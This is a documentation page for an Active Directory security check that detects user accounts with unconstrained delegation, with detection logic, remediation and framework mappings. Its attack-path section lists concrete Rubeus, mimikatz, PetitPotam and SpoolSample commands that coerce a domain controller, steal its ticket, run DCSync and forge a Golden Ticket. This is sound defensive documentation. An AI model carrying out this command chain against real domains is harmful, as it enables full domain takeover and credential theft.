ADKERB-005: Delegación sin restricciones: usuarios
- Plataforma
- Active Directory
- Categoría
- AD Kerberos Security
- Severidad
- Critical
- Pilar de Zero Trust
- Identity (peso 2)
- Fixtures de referencia
- 3
- Cobertura de ramas
- Observada: los fixtures prueban los veredictos que ejercitan
- Procedencia
- baseline
Qué comprueba
Las cuentas de usuario con delegación sin restricciones son aún más peligrosas que las cuentas de equipo con el mismo ajuste, porque las cuentas de usuario se comprometen más fácilmente mediante robo de credenciales, phishing o ataques de contraseña. Cualquier servicio que se ejecute bajo una cuenta de usuario con delegación sin restricciones puede suplantar a cualquier usuario que se autentique en él, lo que da una ruta directa al compromiso del dominio.
Por qué importa
Unconstrained delegation grants the service running under the account a copy of every authenticating user TGT. With a computer account the attacker must first gain SYSTEM on that host, which usually requires admin rights. With a user account the attacker only needs the user password or NTLM hash, which can be obtained via Kerberoasting if the account has an SPN, via password spray, via help-desk reset abuse, via the GPP cpassword vulnerability, via DPAPI, or via phishing. Once the attacker can log on as the delegated user and stand up a service under that identity, they wait for or coerce an authentication from a high-privilege principal. Coercion is trivial in default AD environments: MS-RPRN (PrinterBug), MS-EFSR (PetitPotam), MS-DFSNM (DFSCoerce), and MS-FSRVP (ShadowCoerce) all force a target computer to authenticate to an attacker-chosen UNC path with the computer account TGT. Targeting a Domain Controller via this primitive yields a DC machine account TGT, which can be used immediately for DCSync (replicating directory changes), producing a krbtgt hash and a Golden Ticket. The blast radius is the entire forest, and the time from initial user compromise to Domain Admin is measured in minutes.
Ruta de ataque
Step 1: Discovery. The attacker, holding any authenticated foothold, runs Get-ADUser -Filter {TrustedForDelegation -eq $true}, or BloodHound MATCH (u:User {unconstraineddelegation:true}) RETURN u, or PowerView Get-NetUser -Unconstrained, to list user accounts with TRUSTED_FOR_DELEGATION set. ADKERB-005 surfaces the same set. Step 2: Account compromise. The attacker obtains credentials for the delegated user. Common paths: Kerberoast the account if it has a servicePrincipalName (Rubeus kerberoast), password spray weak passwords, abuse a stale help desk reset right, recover the password from a GPP XML file (MS14-025), or harvest from a phishing payload. Step 3: Service registration. The attacker registers a servicePrincipalName under the compromised user account if one is not already present (setspn -A HTTP/attacker.contoso.local svc_delegated). The SPN is required so that other principals can request service tickets against the account. Step 4: Coercion. The attacker triggers an authentication from a high-value computer (typically a Domain Controller) to the SPN they control. Tools: PetitPotam.py DC01 ATTACKER for MS-EFSR, SpoolSample.exe DC01 ATTACKER for MS-RPRN, dfscoerce.py for MS-DFSNM, Coercer for an aggregate sweep. The target DC authenticates to the attacker SPN with its machine account TGT. Step 5: TGT extraction. The attacker, logged on interactively or via WMI/PSRemoting as the delegated user, runs Rubeus monitor /interval:1 or Rubeus harvest, or executes mimikatz sekurlsa::tickets /export, and captures the DC TGT that was forwarded into LSASS as part of the unconstrained delegation handshake. Step 6: Pass the ticket. The attacker injects the DC TGT into a new logon session with Rubeus ptt /ticket:DC01.kirbi or mimikatz kerberos::ptt DC01.kirbi. Step 7: DCSync. With the DC machine account context the attacker runs mimikatz lsadump::dcsync /user:DOMAIN\krbtgt to retrieve the krbtgt NTLM hash, then forges a Golden Ticket (Rubeus golden /user:Administrator /rc4:<krbtgt hash> /sid:<domain SID> /domain:contoso.local /ptt) and has persistent Domain Admin equivalent access across the forest.
Cómo lo evalúa Guerrilla
Guerrilla performs an authenticated LDAP search against the default naming context using the bitwise AND OID 1.2.840.113556.1.4.803 to evaluate the TRUSTED_FOR_DELEGATION bit (decimal 524288, hex 0x80000) in userAccountControl. The filter (&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=524288)) returns only user-class objects, deliberately excluding computer objects which are covered by ADKERB-004. For each returned object the check pulls userAccountControl, servicePrincipalName, memberOf, adminCount, pwdLastSet, lastLogonTimestamp, and nTSecurityDescriptor. The collected attributes are used to enrich the finding with whether the account has an SPN (and is therefore Kerberoastable), whether it is Tier 0 by adminCount or group membership, the age of the password (a stale password compounds the risk), and which non-default principals hold write rights on the object. The check then cross-references Protected Users group membership and the NOT_DELEGATED bit (0x100000) on the account, since either should have stopped delegation use; their absence is logged as additional context but does not change the finding (the flag itself is the issue). No event log is required for the primary detection because the misconfiguration is a persistent directory state, not an event.
Valor recomendado
Ninguna cuenta de usuario con delegación sin restricciones. Toda la delegación de cuentas de usuario migrada a delegación restringida o restringida basada en recursos.
Remediación
Identifica los usuarios con delegación sin restricciones usando Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation. Casi nunca es una configuración legítima para cuentas de usuario. Elimina el indicador de delegación sin restricciones y configura delegación restringida a servicios concretos si la delegación es necesaria. Rota la contraseña de la cuenta de inmediato, porque puede haber sido atacada.
Veredictos probados con fixtures
Cada veredicto de esta tabla está probado por un fixture de referencia en la suite de pruebas que valida el módulo. La tabla se deriva de la última ejecución en verde; no puede editarse a mano.
| Escenario | Veredicto esperado |
|---|---|
| clean | PASS |
| known-bad | FAIL |
| throttled | Not Assessed |
Mapeos a marcos de referencia
- NIST SP 800-53
- AC-6
- ANSSI
- R35
- CIS AD Benchmark
- 7.3.2
- MITRE ATT&CK
- T1558.001